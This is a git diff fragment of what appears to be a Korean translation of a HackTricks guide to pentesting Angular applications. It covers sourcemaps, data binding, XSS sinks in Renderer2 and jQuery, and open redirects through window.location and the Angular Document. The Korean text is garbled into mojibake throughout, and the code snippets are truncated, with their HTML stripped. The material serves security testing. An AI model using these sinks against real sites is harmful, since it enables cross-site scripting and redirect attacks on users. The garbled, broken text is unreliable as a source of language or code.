์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. sourcemaps๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด Angular ํ”„๋กœ์ ํŠธ์˜ ์›๋ž˜ ์ƒํƒœ๋ฅผ ๋ณต์ œํ•˜์—ฌ ๊ฐ€๋…์„ฑ์„ ๋†’์ด๊ณ  ํŒŒ์ผ ๋ถ„์„์— ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, ๊ฒ€ํ† ์ž๋Š” ๋ณด์•ˆ ํŒจํ„ด์„ ๊ฒ€์ƒ‰ํ•˜์—ฌ ์ปดํŒŒ์ผ๋œ JavaScript ํŒŒ์ผ์„ ์ˆ˜๋™์œผ๋กœ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๋˜ํ•œ, Angular ํ”„๋กœ์ ํŠธ์˜ ์ปดํŒŒ์ผ๋œ JavaScript ํŒŒ์ผ์€ ๋ธŒ๋ผ์šฐ์ € ๊ฐœ๋ฐœ์ž ๋„๊ตฌ โ†’ Sources (๋˜๋Š” Debugger and Sources) โ†’ \[id].main.js์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ™œ์„ฑํ™”๋œ ์˜ต์…˜์— ๋”ฐ๋ผ ์ด ํŒŒ์ผ์˜ ๋์— `//# sourceMappingURL=[id].main.js.map` ํ–‰์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, **hidden** ์˜ต์…˜์ด **true**๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ ํฌํ•จ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  **scripts**์— ๋Œ€ํ•ด sourcemap์ด ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด ํ…Œ์ŠคํŠธ๊ฐ€ ๋” ๋ณต์žกํ•ด์ง€๊ณ  ํŒŒ์ผ์„ ์–ป์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ํ”„๋กœ์ ํŠธ ๋นŒ๋“œ ์ค‘์— sourcemap์„ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: `ng build --source-map`. +๋˜ํ•œ, Angular ํ”„๋กœ์ ํŠธ์˜ ์ปดํŒŒ์ผ๋œ JavaScript ํŒŒ์ผ์€ ๋ธŒ๋ผ์šฐ์ € ๊ฐœ๋ฐœ์ž ๋„๊ตฌ โ†’ Sources (๋˜๋Š” Debugger and Sources) โ†’ \[id].main.js์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ™œ์„ฑํ™”๋œ ์˜ต์…˜์— ๋”ฐ๋ผ ์ด ํŒŒ์ผ์˜ ๋์— `//# sourceMappingURL=[id].main.js.map` ํ–‰์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, **hidden** ์˜ต์…˜์ด **true**๋กœ ์„ค์ •๋œ ๊ฒฝ์šฐ ํฌํ•จ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  **scripts**์— ๋Œ€ํ•ด sourcemap์ด ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด ํ…Œ์ŠคํŠธ๊ฐ€ ๋” ๋ณต์žกํ•ด์ง€๊ณ  ํŒŒ์ผ์„ ์–ป์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, `ng build --source-map`์™€ ๊ฐ™์ด ํ”„๋กœ์ ํŠธ ๋นŒ๋“œ ์ค‘์— sourcemap์„ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ## ๋ฐ์ดํ„ฐ ๋ฐ”์ธ๋”ฉ -๋ฐ”์ธ๋”ฉ์€ ๊ตฌ์„ฑ ์š”์†Œ์™€ ํ•ด๋‹น ๋ทฐ ๊ฐ„์˜ ํ†ต์‹  ํ”„๋กœ์„ธ์Šค๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Angular ํ”„๋ ˆ์ž„์›Œํฌ์™€ ๋ฐ์ดํ„ฐ ์ „์†ก์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋Š” ์ด๋ฒคํŠธ, ๋ณด๊ฐ„, ์†์„ฑ ๋˜๋Š” ์–‘๋ฐฉํ–ฅ ๋ฐ”์ธ๋”ฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ์ „๋‹ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ๋ฐ์ดํ„ฐ๋Š” ๊ด€๋ จ ๊ตฌ์„ฑ ์š”์†Œ(๋ถ€๋ชจ-์ž์‹ ๊ด€๊ณ„) ๊ฐ„ ๋ฐ ๋‘ ๊ฐœ์˜ ๊ด€๋ จ ์—†๋Š” ๊ตฌ์„ฑ ์š”์†Œ ๊ฐ„์— Service ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต์œ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋ฐ”์ธ๋”ฉ์€ ๊ตฌ์„ฑ ์š”์†Œ์™€ ํ•ด๋‹น ๋ทฐ ๊ฐ„์˜ ํ†ต์‹  ํ”„๋กœ์„ธ์Šค๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Angular ํ”„๋ ˆ์ž„์›Œํฌ์™€ ๋ฐ์ดํ„ฐ ์ „์†ก์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋Š” ์ด๋ฒคํŠธ, ๋ณด๊ฐ„, ์†์„ฑ ๋˜๋Š” ์–‘๋ฐฉํ–ฅ ๋ฐ”์ธ๋”ฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ์ „๋‹ฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ๋ฐ์ดํ„ฐ๋Š” ๊ด€๋ จ ๊ตฌ์„ฑ ์š”์†Œ(๋ถ€๋ชจ-์ž์‹ ๊ด€๊ณ„) ๊ฐ„ ๋ฐ ๋‘ ๊ฐœ์˜ ๊ด€๋ จ ์—†๋Š” ๊ตฌ์„ฑ ์š”์†Œ ๊ฐ„์— ์„œ๋น„์Šค ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต์œ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ”์ธ๋”ฉ์€ ๋ฐ์ดํ„ฐ ํ๋ฆ„์— ๋”ฐ๋ผ ๋ถ„๋ฅ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: @@ -75,12 +75,12 @@ Angular ํ”„๋ ˆ์ž„์›Œํฌ๋Š” `tsconfig.json` ์˜ต์…˜์„ ๋”ฐ๋ฅด๋ฉฐ TypeScript ํŒŒ์ผ ๋ฐ”์ธ๋”ฉ์€ ์†์„ฑ, ์ด๋ฒคํŠธ ๋ฐ ์†์„ฑ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ์†Œ์Šค ์ง€์‹œ๋ฌธ์˜ ๋ชจ๋“  ๊ณต๊ฐœ ๋ฉค๋ฒ„์—์„œ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: | ์œ ํ˜• | ๋Œ€์ƒ | ์˜ˆ์‹œ | -| --------- | ------------------------------------------------------ | ------------------------------------------------------------------- | -| ์†์„ฑ | ์š”์†Œ ์†์„ฑ, ๊ตฌ์„ฑ ์š”์†Œ ์†์„ฑ, ์ง€์‹œ๋ฌธ ์†์„ฑ | \ | -| ์ด๋ฒคํŠธ | ์š”์†Œ ์ด๋ฒคํŠธ, ๊ตฌ์„ฑ ์š”์†Œ ์ด๋ฒคํŠธ, ์ง€์‹œ๋ฌธ ์ด๋ฒคํŠธ | \ ``` -* DOM ์š”์†Œ์˜ ์†์„ฑ์„ ์„ค์ •ํ•˜๋ ค๋ฉด `Renderer2.setProperty()` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  XSS ๊ณต๊ฒฉ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +* DOM ์š”์†Œ์˜ ์†์„ฑ์„ ์„ค์ •ํ•˜๋ ค๋ฉด `Renderer2.setProperty()` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ XSS ๊ณต๊ฒฉ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```tsx //app.component.ts @@ -371,11 +371,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', 'Click me! ``` -์—ฐ๊ตฌ ์ค‘์— ์šฐ๋ฆฌ๋Š” XSS ๋ฐ CSS ์ฃผ์ž…๊ณผ ๊ด€๋ จํ•˜์—ฌ `Renderer2`์˜ ๋‹ค๋ฅธ ๋ฉ”์„œ๋“œ์ธ `setStyle()`, `createComment()`, ๋ฐ `setValue()`์˜ ๋™์ž‘๋„ ์กฐ์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋ฉ”์„œ๋“œ์˜ ๊ธฐ๋Šฅ์  ์ œํ•œ์œผ๋กœ ์ธํ•ด ์œ ํšจํ•œ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. +์šฐ๋ฆฌ์˜ ์—ฐ๊ตฌ ์ค‘์—, ์šฐ๋ฆฌ๋Š” XSS ๋ฐ CSS ์ฃผ์ž…๊ณผ ๊ด€๋ จํ•˜์—ฌ `setStyle()`, `createComment()`, ๋ฐ `setValue()`์™€ ๊ฐ™์€ ๋‹ค๋ฅธ `Renderer2` ๋ฉ”์„œ๋“œ์˜ ๋™์ž‘๋„ ์กฐ์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋ฉ”์„œ๋“œ์˜ ๊ธฐ๋Šฅ์  ์ œํ•œ์œผ๋กœ ์ธํ•ด ์œ ํšจํ•œ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค. #### jQuery -jQuery๋Š” HTML DOM ๊ฐ์ฒด ์กฐ์ž‘์„ ๋•๊ธฐ ์œ„ํ•ด Angular ํ”„๋กœ์ ํŠธ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋น ๋ฅด๊ณ  ์ž‘๊ณ  ๊ธฐ๋Šฅ์ด ํ’๋ถ€ํ•œ JavaScript ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋ฉ”์„œ๋“œ๋Š” XSS ์ทจ์•ฝ์ ์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. Angular ํ”„๋กœ์ ํŠธ์—์„œ ์ทจ์•ฝํ•œ jQuery ๋ฉ”์„œ๋“œ๊ฐ€ ์–ด๋–ป๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€ ๋…ผ์˜ํ•˜๊ธฐ ์œ„ํ•ด ์ด ํ•˜์œ„ ์„น์…˜์„ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค. +jQuery๋Š” Angular ํ”„๋กœ์ ํŠธ์—์„œ HTML DOM ๊ฐ์ฒด๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ๋น ๋ฅด๊ณ  ์ž‘๊ณ  ๊ธฐ๋Šฅ์ด ํ’๋ถ€ํ•œ JavaScript ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ž˜ ์•Œ๋ ค์ง„ ๋ฐ”์™€ ๊ฐ™์ด, ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ๋ฉ”์„œ๋“œ๋Š” XSS ์ทจ์•ฝ์ ์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Angular ํ”„๋กœ์ ํŠธ์—์„œ ์ทจ์•ฝํ•œ jQuery ๋ฉ”์„œ๋“œ๊ฐ€ ์–ด๋–ป๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€ ๋…ผ์˜ํ•˜๊ธฐ ์œ„ํ•ด ์ด ํ•˜์œ„ ์„น์…˜์„ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค. * `html()` ๋ฉ”์„œ๋“œ๋Š” ์ผ์น˜ํ•˜๋Š” ์š”์†Œ ์ง‘ํ•ฉ์˜ ์ฒซ ๋ฒˆ์งธ ์š”์†Œ์˜ HTML ๋‚ด์šฉ์„ ๊ฐ€์ ธ์˜ค๊ฑฐ๋‚˜ ๋ชจ๋“  ์ผ์น˜ํ•˜๋Š” ์š”์†Œ์˜ HTML ๋‚ด์šฉ์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์„ค๊ณ„์ƒ HTML ๋ฌธ์ž์—ด์„ ์ˆ˜์šฉํ•˜๋Š” ๋ชจ๋“  jQuery ์ƒ์„ฑ์ž ๋˜๋Š” ๋ฉ”์„œ๋“œ๋Š” ์ž ์žฌ์ ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” `");

some text here

``` -* `jQuery.parseHTML()` ๋ฉ”์„œ๋“œ๋Š” ๋ฌธ์ž์—ด์„ DOM ๋…ธ๋“œ ์ง‘ํ•ฉ์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ์œ„ํ•ด ๊ธฐ๋ณธ ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด๋ฅผ ๋ฌธ์„œ์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +* `jQuery.parseHTML()` ๋ฉ”์„œ๋“œ๋Š” ๋ฌธ์ž์—ด์„ DOM ๋…ธ๋“œ ์ง‘ํ•ฉ์œผ๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ์œ„ํ•ด ๋„ค์ดํ‹ฐ๋ธŒ ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ด ๋…ธ๋“œ๋Š” ๋ฌธ์„œ์— ์‚ฝ์ž…๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```tsx jQuery.parseHTML(data [, context ] [, keepScripts ]) ``` -์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด HTML ๋ฌธ์ž์—ด์„ ์ˆ˜์šฉํ•˜๋Š” ๋Œ€๋ถ€๋ถ„์˜ jQuery API๋Š” HTML์— ํฌํ•จ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. `jQuery.parseHTML()` ๋ฉ”์„œ๋“œ๋Š” `keepScripts`๊ฐ€ ๋ช…์‹œ์ ์œผ๋กœ `true`๊ฐ€ ์•„๋‹Œ ํ•œ ํŒŒ์‹ฑ๋œ HTML์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋Œ€๋ถ€๋ถ„์˜ ํ™˜๊ฒฝ์—์„œ `` ์†์„ฑ์„ ํ†ตํ•ด ๊ฐ„์ ‘์ ์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์€ ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. +์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, HTML ๋ฌธ์ž์—ด์„ ์ˆ˜์šฉํ•˜๋Š” ๋Œ€๋ถ€๋ถ„์˜ jQuery API๋Š” HTML์— ํฌํ•จ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. `jQuery.parseHTML()` ๋ฉ”์„œ๋“œ๋Š” `keepScripts`๊ฐ€ ๋ช…์‹œ์ ์œผ๋กœ `true`๊ฐ€ ์•„๋‹Œ ํ•œ ํŒŒ์‹ฑ๋œ HTML์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋Œ€๋ถ€๋ถ„์˜ ํ™˜๊ฒฝ์—์„œ `` ์†์„ฑ์„ ํ†ตํ•ด ๊ฐ„์ ‘์ ์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์€ ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ```tsx //app.component.ts @@ -446,7 +446,7 @@ $palias.append(html); #### DOM ์ธํ„ฐํŽ˜์ด์Šค -W3C ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, `window.location` ๋ฐ `document.location` ๊ฐ์ฒด๋Š” ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋ณ„์นญ์œผ๋กœ ์ทจ๊ธ‰๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ์ด๋“ค์€ ์ผ๋ถ€ ๋ฉ”์„œ๋“œ์™€ ์†์„ฑ์˜ ์œ ์‚ฌํ•œ ๊ตฌํ˜„์„ ๊ฐ€์ง€๋ฉฐ, ์ด๋Š” ์•„๋ž˜์— ์–ธ๊ธ‰๋œ `javascript://` ์Šคํ‚ค๋งˆ ๊ณต๊ฒฉ์œผ๋กœ ์ธํ•ด ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ๋ฐ DOM XSS๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +W3C ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, `window.location` ๋ฐ `document.location` ๊ฐ์ฒด๋Š” ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋ณ„์นญ์œผ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ์ด๋“ค์€ ์ผ๋ถ€ ๋ฉ”์„œ๋“œ์™€ ์†์„ฑ์˜ ์œ ์‚ฌํ•œ ๊ตฌํ˜„์„ ๊ฐ€์ง€๋ฉฐ, ์ด๋Š” ์•„๋ž˜์— ์–ธ๊ธ‰๋œ `javascript://` ์Šคํ‚ค๋งˆ ๊ณต๊ฒฉ์œผ๋กœ ์ธํ•ด ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ๋ฐ DOM XSS๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. * `window.location.href`(๋ฐ `document.location.href`) @@ -481,9 +481,9 @@ window.location.assign("https://google.com/about") ``` * `window.location.replace()`(๋ฐ `document.location.replace()`) -์ด ๋ฉ”์„œ๋“œ๋Š” ํ˜„์žฌ ๋ฆฌ์†Œ์Šค๋ฅผ ์ œ๊ณต๋œ URL์˜ ๋ฆฌ์†Œ์Šค๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค. +์ด ๋ฉ”์„œ๋“œ๋Š” ํ˜„์žฌ ๋ฆฌ์†Œ์Šค๋ฅผ ์ œ๊ณต๋œ URL์˜ ๋ฆฌ์†Œ์Šค๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค. -`assign()` ๋ฉ”์„œ๋“œ์™€์˜ ์ฐจ์ด์ ์€ `window.location.replace()`๋ฅผ ์‚ฌ์šฉํ•œ ํ›„ ํ˜„์žฌ ํŽ˜์ด์ง€๊ฐ€ ์„ธ์…˜ ๊ธฐ๋ก์— ์ €์žฅ๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๊ฐ€์งˆ ๋•Œ ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด๊ฒƒ์€ `assign()` ๋ฉ”์„œ๋“œ์™€ ๋‹ค๋ฅด๋ฉฐ, `window.location.replace()`๋ฅผ ์‚ฌ์šฉํ•œ ํ›„ ํ˜„์žฌ ํŽ˜์ด์ง€๋Š” ์„ธ์…˜ ๊ธฐ๋ก์— ์ €์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๊ฐ€์งˆ ๋•Œ ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ```tsx //app.component.ts @@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank") #### Angular ํด๋ž˜์Šค -* Angular ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, Angular `Document`๋Š” DOM ๋ฌธ์„œ์™€ ๋™์ผํ•˜๋ฏ€๋กœ Angular์—์„œ ํด๋ผ์ด์–ธํŠธ ์ธก ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด DOM ๋ฌธ์„œ์— ๋Œ€ํ•œ ์ผ๋ฐ˜ ๋ฒกํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `Document.location` ์†์„ฑ๊ณผ ๋ฉ”์„œ๋“œ๋Š” ์„ฑ๊ณต์ ์ธ ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ๊ณต๊ฒฉ์˜ ์‹ฑํฌ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด: +* Angular ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, Angular `Document`๋Š” DOM ๋ฌธ์„œ์™€ ๋™์ผํ•˜๋ฉฐ, ์ด๋Š” Angular์—์„œ ํด๋ผ์ด์–ธํŠธ ์ธก ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด DOM ๋ฌธ์„œ์— ๋Œ€ํ•œ ์ผ๋ฐ˜์ ์ธ ๋ฒกํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. `Document.location` ์†์„ฑ๊ณผ ๋ฉ”์„œ๋“œ๋Š” ์•„๋ž˜์˜ ์˜ˆ์™€ ๊ฐ™์ด ์„ฑ๊ณต์ ์ธ ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ๊ณต๊ฒฉ์˜ ์‹ฑํฌ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```tsx //app.component.ts @@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* ์—ฐ๊ตฌ ๋‹จ๊ณ„์—์„œ ์šฐ๋ฆฌ๋Š” ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ Angular `Location` ํด๋ž˜์Šค๋„ ๊ฒ€ํ† ํ–ˆ์ง€๋งŒ ์œ ํšจํ•œ ๋ฒกํ„ฐ๋ฅผ ์ฐพ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. `Location`์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋ธŒ๋ผ์šฐ์ €์˜ ํ˜„์žฌ URL๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” Angular ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. ์ด ์„œ๋น„์Šค๋Š” ์ฃผ์–ด์ง„ URL์„ ์กฐ์ž‘ํ•˜๋Š” ์—ฌ๋Ÿฌ ๋ฉ”์„œ๋“œ - `go()`, `replaceState()`, ๋ฐ `prepareExternalUrl()`๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด: +* ์—ฐ๊ตฌ ๋‹จ๊ณ„์—์„œ ์šฐ๋ฆฌ๋Š” ์—ด๋ฆฐ ๋ฆฌ๋””๋ ‰์…˜ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ Angular `Location` ํด๋ž˜์Šค๋„ ๊ฒ€ํ† ํ–ˆ์ง€๋งŒ ์œ ํšจํ•œ ๋ฒกํ„ฐ๋ฅผ ์ฐพ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. `Location`์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋ธŒ๋ผ์šฐ์ €์˜ ํ˜„์žฌ URL๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” Angular ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. ์ด ์„œ๋น„์Šค๋Š” ์ฃผ์–ด์ง„ URL์„ ์กฐ์ž‘ํ•˜๊ธฐ ์œ„ํ•œ ์—ฌ๋Ÿฌ ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค - `go()`, `replaceState()`, ๋ฐ `prepareExternalUrl()`. ๊ทธ๋Ÿฌ๋‚˜ ์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์™ธ๋ถ€ ๋„๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด: ```tsx //app.component.ts @@ -592,7 +592,7 @@ this.router.navigateByUrl('URL') * [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts) * [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md) * [Angular Universal](https://angular.io/guide/universal) -* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss) +* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html) * [Angular ElementRef](https://angular.io/api/core/ElementRef) * [Angular Renderer2](https://angular.io/api/core/Renderer2) * [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/) diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index ed18af6df..f80bcde30 100644 --- 